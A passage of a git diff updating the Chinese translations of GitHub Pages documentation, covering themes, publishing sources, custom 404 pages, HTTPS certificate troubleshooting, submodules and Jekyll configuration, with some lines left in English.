-  ![Theme options and Select theme button](/assets/images/help/pages/select-theme.png)
-5. You may be prompted to edit your site's *README.md* file.
-   - To edit the file later, click **Cancel**.
-   ![Cancel link when editing a file](/assets/images/help/pages/cancel-edit.png)
-   - To edit the file now, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
+3. 在“{% data variables.product.prodname_pages %}”下，单击 **Choose a theme（选择主题）**或 **Change theme（更改主题）**。 ![选择主题按钮](/assets/images/help/pages/choose-a-theme.png)
+4. 在页面顶部单击所需的主题，然后单击 **Select theme（选择主题）**。 ![主题选项和选择主题按钮](/assets/images/help/pages/select-theme.png)
+5. 系统可能会提示您编辑站点的 *README.md* 文件。
+   - 要稍后编辑该文件，请单击 **Cancel（取消）**。 ![编辑文件时取消链接](/assets/images/help/pages/cancel-edit.png)
+   - 要现在编辑文件，请参阅“[编辑文件](/repositories/working-with-files/managing-files/editing-files)”。
 
-Your chosen theme will automatically apply to markdown files in your repository. To apply your theme to HTML files in your repository, you need to add YAML front matter that specifies a layout to each file. For more information, see "[Front Matter](https://jekyllrb.com/docs/front-matter/)" on the Jekyll site.
+您选择的主题将自动应用到仓库中的 Markdown 文件。 要将主题应用到仓库中的 HTML 文件，您需要添加 YAML 前页，以指定每个文件的布局。 更多信息请参阅 Jekyll 网站上的“[前页](https://jekyllrb.com/docs/front-matter/)”。
 
-## Further reading
+## 延伸阅读
 
-- [Themes](https://jekyllrb.com/docs/themes/) on the Jekyll site
+- Jekyll 网站上的[主题](https://jekyllrb.com/docs/themes/)
diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
index 5e931e4862..b7e80cbcb4 100644
--- a/translations/zh-CN/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
+++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a publishing source for your GitHub Pages site
-intro: 'If you use the default publishing source for your {% data variables.product.prodname_pages %} site, your site will publish automatically. You can also choose to publish your site from a different branch or folder.'
+title: 配置 GitHub Pages 站点的发布源
+intro: '如果您使用 {% data variables.product.prodname_pages %} 站点的默认发布源，您的站点将自动发布。 You can also choose to publish your site from a different branch or folder.'
 redirect_from:
   - /articles/configuring-a-publishing-source-for-github-pages
   - /articles/configuring-a-publishing-source-for-your-github-pages-site
@@ -14,36 +14,33 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Configure publishing source
+shortTitle: 配置发布源
 ---
 
-For more information about publishing sources, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)."
+有关发布源的更多信息，请参阅“[关于 {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)”。
 
-## Choosing a publishing source
+## 选择发布源
 
 Before you configure a publishing source, make sure the branch you want to use as your publishing source already exists in your repository.
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-3. Under "{% data variables.product.prodname_pages %}", use the **None** or **Branch** drop-down menu and select a publishing source.
-  ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
-4. Optionally, use the drop-down menu to select a folder for your publishing source.
-  ![Drop-down menu to select a folder for publishing source](/assets/images/help/pages/publishing-source-folder-drop-down.png)
-5. Click **Save**.
-  ![Button to save changes to publishing source settings](/assets/images/help/pages/publishing-source-save.png)
+3. 在“{% data variables.product.prodname_pages %}”下，使用 **None（无）**或 **Branch（分支）**下拉菜单选择发布源。 ![用于选择发布源的下拉菜单](/assets/images/help/pages/publishing-source-drop-down.png)
+4. （可选）使用下拉菜单选择发布源的文件夹。 ![用于选择发布源文件夹的下拉菜单](/assets/images/help/pages/publishing-source-folder-drop-down.png)
+5. 单击 **Save（保存）**。 ![用于保存对发布源设置的更改的按钮](/assets/images/help/pages/publishing-source-save.png)
 
-## Troubleshooting publishing problems with your {% data variables.product.prodname_pages %} site
+## {% data variables.product.prodname_pages %} 站点发布问题疑难排解
 
 {% data reusables.pages.admin-must-push %}
 
-If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. For more information, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)."
+If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. 更多信息请参阅“[关于 {% data variables.product.prodname_pages %} 站点的 Jekyll 构建错误疑难排解](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)”。
 
-{% ifversion fpt %} 
+{% ifversion fpt %}
 
 Your {% data variables.product.prodname_pages %} site will always be deployed with a {% data variables.product.prodname_actions %} workflow run, even if you've configured your {% data variables.product.prodname_pages %} site to be built using a different CI tool. Most external CI workflows "deploy" to GitHub Pages by committing the build output to the `gh-pages` branch of the repository, and typically include a `.nojekyll` file. When this happens, the {% data variables.product.prodname_actions %} worfklow will detect the state that the branch does not need a build step, and will execute only the steps necessary to deploy the site to {% data variables.product.prodname_pages %} servers.
 
-To find potential errors with either the build or deployment, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."  For more information about how to re-run the workflow in case of an error, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
+To find potential errors with either the build or deployment, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. 更多信息请参阅“[查看工作流程运行历史记录](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)”。  For more information about how to re-run the workflow in case of an error, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
 
 {% note %}
 
diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
index e2a6857bc7..6f858d3b17 100644
--- a/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
+++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a custom 404 page for your GitHub Pages site
-intro: You can display a custom 404 error page when people try to access nonexistent pages on your site.
+title: 为 GitHub Pages 站点创建自定义 404 页面
+intro: 您可以自定义在人们尝试访问您站点上不存在的页面时显示的 404 错误页面。
 redirect_from:
   - /articles/custom-404-pages
   - /articles/creating-a-custom-404-page-for-your-github-pages-site
@@ -13,26 +13,25 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create custom 404 page
+shortTitle: 创建自定义 404 页面
 ---
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
 {% data reusables.files.add-file %}
-3. In the file name field, type `404.html` or `404.md`.
-  ![File name field](/assets/images/help/pages/404-file-name.png)
-4. If you named your file `404.md`, add the following YAML front matter to the beginning of the file:
+3. 在文件名字段中，键入 `404.html` 或 `404.md`。 ![文件名字段](/assets/images/help/pages/404-file-name.png)
+4. 如果将文件命名为 `404.md`，请将以下 YAML 前页添加到文件的开头：
   ```yaml
   ---
   permalink: /404.html
   ---
   ```
-5. Below the YAML front matter, if present, add the content you want to display on your 404 page.
+5. 在 YAML 前页（如果存在）下方添加要在 404 页面上显示的内容。
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_new_file %}
 
-## Further reading
+## 延伸阅读
 
-- [Front matter](http://jekyllrb.com/docs/frontmatter) in the Jekyll documentation
+- Jekyll 文档中的[前页](http://jekyllrb.com/docs/frontmatter)
diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
index fd7bb21e9a..05bee74a23 100644
--- a/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
+++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub Pages site
-intro: 'You can create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+title: 创建 GitHub Pages 站点
+intro: '您可以在新仓库或现有仓库中创建 {% data variables.product.prodname_pages %} 站点。'
 redirect_from:
   - /articles/creating-pages-manually
   - /articles/creating-project-pages-manually
@@ -16,12 +16,12 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create a GitHub Pages site
+shortTitle: 创建 GitHub Pages 站点
 ---
 
 {% data reusables.pages.org-owners-can-restrict-pages-creation %}
 
-## Creating a repository for your site
+## 为站点创建仓库
 
 {% data reusables.pages.new-or-existing-repo %}
 
@@ -32,7 +32,7 @@ shortTitle: Create a GitHub Pages site
 {% data reusables.repositories.initialize-with-readme %}
 {% data reusables.repositories.create-repo %}
 
-## Creating your site
+## 创建站点
 
 {% data reusables.pages.must-have-repo-first %}
 
@@ -40,8 +40,8 @@ shortTitle: Create a GitHub Pages site
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.decide-publishing-source %}
-3. If your chosen publishing source already exists, navigate to the publishing source. If your chosen publishing source doesn't exist, create the publishing source.
-4. In the root of the publishing source, create a new file called `index.md` that contains the content you want to display on the main page of your site.
+3. 如果所选发布源已存在，请导航到发布源。 如果所选发布源不存在，则创建发布源。
+4. 在发布源的根目录中，创建一个名为 `index.md`、包含要在网站主页上显示的内容的文件。
 
   {% tip %}
 
@@ -57,16 +57,16 @@ shortTitle: Create a GitHub Pages site
 
 {% data reusables.pages.admin-must-push %}
 
-## Next steps
+## 后续步骤
 
-You can add more pages to your site by creating more new files. Each file will be available on your site in the same directory structure as your publishing source. For example, if the publishing source for your project site is the `gh-pages` branch, and you create a new file called `/about/contact-us.md` on the `gh-pages` branch, the file will be available at {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html`.
+您可以通过创建更多新文件向网站添加更多页面。 每个文件都将在网站上与发布源相同的目录结构中。 例如，如果项目网站的发布源是 `gh-pages` 分支，并且您在 `gh-pages` 分支上创建了名为 `/about/contact-us.md` 的新文件，该文件将在 {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html` 下。
 
-You can also add a theme to customize your site’s look and feel. For more information, see {% ifversion fpt or ghec %}"[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}"[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}."
+您还可以添加主题以自定义网站的外观。 更多信息请参阅{% ifversion fpt or ghec %}“[使用主题选择器添加主题到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}”[使用 Jekyll 添加主题到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}”。
 
-To customize your site even more, you can use Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)."
+要更多地自定义您的站点，您可以使用 Jekyl - 内置 {% data variables.product.prodname_pages %} 支持的静态站点生成器。 更多信息请参阅“[关于 {% data variables.product.prodname_pages %} 和 Jekyll](/articles/about-github-pages-and-jekyll)”。
 
-## Further reading
+## 延伸阅读
 
-- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
-- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)"
-- "[Creating new files](/articles/creating-new-files)"
+- "[排查 {% data variables.product.prodname_pages %} 站点的 Jekyll 构建错误](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
+- “[在仓库内创建和删除分支](/articles/creating-and-deleting-branches-within-your-repository)”
+- "[创建新文件](/articles/creating-new-files)"
diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/index.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/index.md
index b391a4458c..3453f678b9 100644
--- a/translations/zh-CN/content/pages/getting-started-with-github-pages/index.md
+++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/index.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with GitHub Pages
-intro: 'You can set up a basic {% data variables.product.prodname_pages %} site for yourself, your organization, or your project.'
+title: GitHub Pages 使用入门
+intro: '您可以为自己、您的组织或项目设置一个基本 {% data variables.product.prodname_pages %} 站点。'
 redirect_from:
   - /categories/github-pages-basics
   - /articles/additional-customizations-for-github-pages
@@ -24,6 +24,6 @@ children:
   - /securing-your-github-pages-site-with-https
   - /using-submodules-with-github-pages
   - /unpublishing-a-github-pages-site
-shortTitle: Get started
+shortTitle: 入门
 ---
 
diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
index 6ad71ffd59..0ac40bc970 100644
--- a/translations/zh-CN/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
+++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
@@ -36,6 +36,12 @@ shortTitle: 使用 HTTPS 保护站点
 {% data reusables.pages.sidebar-pages %}
 3. 在 "{% data variables.product.prodname_pages %}" 下，选择 **Enforce HTTPS（实施 HTTPS）**。 ![强制实施 HTTPS 复选框](/assets/images/help/pages/enforce-https-checkbox.png)
 
+## Troubleshooting certificate provisioning ("Certificate not yet created" error")
+
+When you set or change your custom domain in the Pages settings, an automatic DNS check begins. This check determines if your DNS settings are configured to allow {% data variables.product.prodname_dotcom %} to obtain a certificate automatically. If the check is successful, {% data variables.product.prodname_dotcom %} queues a job to request a TLS certificate from [Let's Encrypt](https://letsencrypt.org/). On receiving a valid certificate, {% data variables.product.prodname_dotcom %} automatically uploads it to the servers that handle TLS termination for Pages. When this process completes successfully, a check mark is displayed beside your custom domain name.
+
+The process may take some time. If the process has not completed several minutes after you clicked **Save**, try clicking **Remove** next to your custom domain name. Retype the domain name and click **Save** again. This will cancel and restart the provisioning process.
+
 ## 解决具有混合内容的问题
 
 如果您对 {% data variables.product.prodname_pages %} 站点启用了 HTTPS，但站点的 HTML 仍通过 HTTP 引用图像、CSS 或 JavaScript，则您的站点将提供*混合内容*。 提供混合内容可能会降低站点的安全性，并导致在加载资产时出现问题。
diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
index bcc60251c3..639997f338 100644
--- a/translations/zh-CN/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
+++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Unpublishing a GitHub Pages site
-intro: 'You can unpublish your {% data variables.product.prodname_pages %} site so that the site is no longer available.'
+title: 取消发布 GitHub Pages 站点
+intro: '您可以取消发布 {% data variables.product.prodname_pages %} 站点，使该站点不再可用。'
 redirect_from:
   - /articles/how-do-i-unpublish-a-project-page
   - /articles/unpublishing-a-project-page
@@ -17,22 +17,21 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Unpublish Pages site
+shortTitle: 取消发布 Pages 站点
 ---
 
-## Unpublishing a project site
+## 取消发布项目站点
 
 {% data reusables.repositories.navigate-to-repo %}
-2. If a `gh-pages` branch exists in the repository, delete the `gh-pages` branch. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)."
-3. If the `gh-pages` branch was your publishing source, {% ifversion fpt or ghec %}skip to step 6{% else %}your site is now unpublished and you can skip the remaining steps{% endif %}.
+2. 如果仓库中存在 `gh-pages` 分支，请删除 `gh-pages` 分支。 更多信息请参阅“[创建和删除仓库中的分支](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)”。
+3. 如果 `gh-pages` 分支是您的发布源，{% ifversion fpt or ghec %}跳到步骤 6{% else %}您的站点现已取消发布，您可以跳过其余步骤{% endif %}。
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-5. Under "{% data variables.product.prodname_pages %}", use the **Source** drop-down menu and select **None.**
-  ![Drop down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
+5. 在“{% data variables.product.prodname_pages %}”下，使用 **Source（源）**下拉菜单并选择 **None（无）**。 ![用于选择发布源的下拉菜单](/assets/images/help/pages/publishing-source-drop-down.png)
 {% data reusables.pages.update_your_dns_settings %}
 
-## Unpublishing a user or organization site
+## 取消发布用户或组织站点
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Delete the branch that you're using as a publishing source, or delete the entire repository. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" and "[Deleting a repository](/articles/deleting-a-repository)."
+2. 删除用作发布源的分支，或删除整个仓库。 更多信息请参阅“[在仓库中创建和删除分支](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)”和“[删除仓库](/articles/deleting-a-repository)”。
 {% data reusables.pages.update_your_dns_settings %}
diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
index a29e68ab61..78f1c15098 100644
--- a/translations/zh-CN/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
+++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: Using submodules with GitHub Pages
-intro: 'You can use submodules with {% data variables.product.prodname_pages %} to include other projects in your site''s code.'
+title: 将子模块用于 GitHub Pages
+intro: '您可以将子模块用于 {% data variables.product.prodname_pages %} 以在站点代码中包含其他项目。'
 redirect_from:
   - /articles/using-submodules-with-pages
   - /articles/using-submodules-with-github-pages
@@ -11,16 +11,16 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Use submodules with Pages
+shortTitle: 将子模块与 Pages 一起使用
 ---
 
-If the repository for your {% data variables.product.prodname_pages %} site contains submodules, their contents will automatically be pulled in when your site is built.
+如果 {% data variables.product.prodname_pages %} 站点的仓库包含子模块，则在构建站点时会自动拉取其内容。
 
-You can only use submodules that point to public repositories, because the {% data variables.product.prodname_pages %} server cannot access private repositories.
+只能使用指向公共仓库的子模块，因为 {% data variables.product.prodname_pages %} 服务器无法访问私有仓库。
 
-Use the `https://` read-only URL for your submodules, including nested submodules. You can make this change in your _.gitmodules_ file.
+对子模块（包括嵌套子模块）使用 `https://` 只读 URL。 您可以在 _.gitmodules_ 文件中进行此更改。
 
-## Further reading
+## 延伸阅读
 
-- "[Git Tools - Submodules](https://git-scm.com/book/en/Git-Tools-Submodules)" from the _Pro Git_ book
-- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
+- _Pro Git_ 手册中的“[Git 工具 - 子模块](https://git-scm.com/book/en/Git-Tools-Submodules)”。
+- "[排查 {% data variables.product.prodname_pages %} 站点的 Jekyll 构建错误](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
diff --git a/translations/zh-CN/content/pages/index.md b/translations/zh-CN/content/pages/index.md
index ac99f2500e..763747d186 100644
--- a/translations/zh-CN/content/pages/index.md
+++ b/translations/zh-CN/content/pages/index.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Pages Documentation
+title: GitHub Pages 文档
 shortTitle: GitHub Pages
-intro: 'You can create a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
+intro: '您可以直接从 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 的仓库创建网站。'
 redirect_from:
   - /categories/20/articles
   - /categories/95/articles
@@ -24,3 +24,4 @@ children:
   - /setting-up-a-github-pages-site-with-jekyll
   - /configuring-a-custom-domain-for-your-github-pages-site
 ---
+
diff --git a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
index 8df4d200f5..557c870472 100644
--- a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
+++ b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Pages and Jekyll
-intro: 'Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %}.'
+title: 关于 GitHub Pages 和 Jekyll
+intro: 'Jekyll 是一个静态站点生成器，内置 {% data variables.product.prodname_pages %} 支持。'
 redirect_from:
   - /articles/about-jekyll-themes-on-github
   - /articles/configuring-jekyll
@@ -29,19 +29,19 @@ topics:
 shortTitle: GitHub Pages & Jekyll
 ---
 
-## About Jekyll
+## 关于 Jekyll
 
-Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. Jekyll takes Markdown and HTML files and creates a complete static website based on your choice of layouts. Jekyll supports Markdown and Liquid, a templating language that loads dynamic content on your site. For more information, see [Jekyll](https://jekyllrb.com/).
+Jekyll 是一个静态站点生成器，内置 {% data variables.product.prodname_pages %} 支持和简化的构建过程。 Jekyll 使用 Markdown 和 HTML 文件，并根据您选择的布局创建完整静态网站。 Jekyll 支持 Markdown 和 Lick，这是一种可在网站上加载动态内容的模板语言。 更多信息请参阅 [Jekyll](https://jekyllrb.com/)。
 
-Jekyll is not officially supported for Windows. For more information, see "[Jekyll on Windows](http://jekyllrb.com/docs/windows/#installation)" in the Jekyll documentation.
+Windows 并未正式支持 Jekyll。 更多信息请参阅 Jekyll 文档中的“[Windows 上的 Jekyll](http://jekyllrb.com/docs/windows/#installation)”。
 
-We recommend using Jekyll with {% data variables.product.prodname_pages %}. If you prefer, you can use other static site generators or customize your own build process locally or on another server. For more information, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators)."
+我们建议将 Jekyll 用于 {% data variables.product.prodname_pages %}。 如果您喜欢，可以使用其他静态站点生成器或者在本地或其他服务器上自定义构建过程。 更多信息请参阅“[关于 {% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators)”。
 
-## Configuring Jekyll in your {% data variables.product.prodname_pages %} site
+## 在 {% data variables.product.prodname_pages %} 网站中配置 Jekyll
 
-You can configure most Jekyll settings, such as your site's theme and plugins, by editing your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation.
+您可以通过编辑 *_config.yml* 文件来配置大多数 Jekyll 设置，例如网站的主题和插件。 更多信息请参阅 Jekyll 文档中的“[配置](https://jekyllrb.com/docs/configuration/)”。
 
-Some configuration settings cannot be changed for {% data variables.product.prodname_pages %} sites.
+对于 {% data variables.product.prodname_pages %} 站点，有些配置设置不能更改。
 
 ```yaml
 lsi: false
@@ -56,36 +56,36 @@ kramdown:
   syntax_highlighter: rouge
 ```
 
-By default, Jekyll doesn't build files or folders that:
-- are located in a folder called `/node_modules` or `/vendor`
-- start with `_`, `.`, or `#`
-- end with `~`
-- are excluded by the `exclude` setting in your configuration file
+默认情况下，Jekyll 不会构建以下文件或文件夹：
+- 位于文件夹 `/node_modules` 或 `/vendor` 中
+- 开头为 `_`、`.` 或 `#`
+- 结尾为 `~`
+- 被配置文件中的 `exclude` 设置排除
 
-If you want Jekyll to process any of these files, you can use the `include` setting in your configuration file.
+如果您想要 Jekyll 处理其中任何文件，可以使用配置文件中的 `includes` 设置。
 
-## Front matter
+## 前页附属资料
 
 {% data reusables.pages.about-front-matter %}
 
-You can add `site.github` to a post or page to add any repository references metadata to your site. For more information, see "[Using `site.github`](https://jekyll.github.io/github-metadata/site.github/)" in the Jekyll Metadata documentation.
+您可以添加 `site.github` 到帖子或页面，以将任何仓库引用元数据添加到您的网站。 更多信息请参阅 Jekyll 元数据文档中的“[使用`site.github`](https://jekyll.github.io/github-metadata/site.github/)”。
 
-## Themes
+## 主题
 
-{% data reusables.pages.add-jekyll-theme %} For more information, see "[Themes](https://jekyllrb.com/docs/themes/)" in the Jekyll documentation.
+{% data reusables.pages.add-jekyll-theme %} 更多信息请参阅 Jekyll 文档中的“[主题](https://jekyllrb.com/docs/themes/)”。
 
 {% ifversion fpt or ghec %}
-You can add a supported theme to your site on {% data variables.product.prodname_dotcom %}. For more information, see "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and "[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)."
+您可以在 {% data variables.product.prodname_dotcom %} 上添加支持的主题到站点。 更多信息请参阅 {% data variables.product.prodname_pages %} 站点上“[支持的主题](https://pages.github.com/themes/)"和"[使用主题选择器添加主题到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)”。
 
-To use any other open source Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, you can add the theme manually.{% else %} You can add a theme to your site manually.{% endif %} For more information, see{% ifversion fpt or ghec %} [themes hosted on {% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) and{% else %} "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and{% endif %} "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+要使用 {% data variables.product.prodname_dotcom %} 上托管的任何其他开源 Jekyll 主题，您可以手动添加主题。{% else %} 您可以手动添加主题到站点。{% endif %} 更多信息请参阅{% ifversion fpt or ghec %} [{% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) 上托管的主题和 {% else %}{% data variables.product.prodname_pages %} 站点上 "[支持的主题](https://pages.github.com/themes/)"和{% endif %}“[使用 Jekyll 添加主题到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)”。
 
-You can override any of your theme's defaults by editing the theme's files. For more information, see your theme's documentation and "[Overriding your theme's defaults](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)" in the Jekyll documentation.
+您可以通过编辑主题文件来覆盖任何主题的默认值。 更多信息请参阅您的主题文档和 Jekyll 文档中的“[覆盖主题默认值](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)“。
 
-## Plugins
+## 插件
 
-You can download or create Jekyll plugins to extend the functionality of Jekyll for your site. For example, the [jemoji](https://github.com/jekyll/jemoji) plugin lets you use {% data variables.product.prodname_dotcom %}-flavored emoji in any page on your site the same way you would on {% data variables.product.prodname_dotcom %}. For more information, see "[Plugins](https://jekyllrb.com/docs/plugins/)" in the Jekyll documentation.
+您可以下载或创建 Jekyll 插件，以便为您的网站扩展 Jekyll 的功能。 例如， [jemoji](https://github.com/jekyll/jemoji) 插件允许您在站点的任何页面上使用 {% data variables.product.prodname_dotcom %} 风格的表情符号，就像在 {% data variables.product.prodname_dotcom %} 上使用一样。 更多信息请参阅 Jekyll 文档中的“[插件](https://jekyllrb.com/docs/plugins/)”。
 
-{% data variables.product.prodname_pages %} uses plugins that are enabled by default and cannot be disabled:
+{% data variables.product.prodname_pages %} 使用默认启用且不能禁用的插件：
 - [`jekyll-coffeescript`](https://github.com/jekyll/jekyll-coffeescript)
 - [`jekyll-default-layout`](https://github.com/benbalter/jekyll-default-layout)
 - [`jekyll-gist`](https://github.com/jekyll/jekyll-gist)
@@ -96,25 +96,25 @@ You can download or create Jekyll plugins to extend the functionality of Jekyll
 - [`jekyll-titles-from-headings`](https://github.com/benbalter/jekyll-titles-from-headings)
 - [`jekyll-relative-links`](https://github.com/benbalter/jekyll-relative-links)
 
-You can enable additional plugins by adding the plugin's gem to the `plugins` setting in your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation. 
+您可以通过在 *_config.yml* 文件中添加插件的 gem 到 `plugins` 设置来启用额外的插件。 更多信息请参阅 Jekyll 文档中的“[配置](https://jekyllrb.com/docs/configuration/)”。
 
-For a list of supported plugins, see "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site.  For usage information for a specific plugin, see the plugin's documentation.
+有关支持的插件列表，请参阅 {% data variables.product.prodname_pages %} 网站上的“[依赖项版本](https://pages.github.com/versions/)”。  有关特定插件的使用信息，请参阅插件的文档。
 
 {% tip %}
 
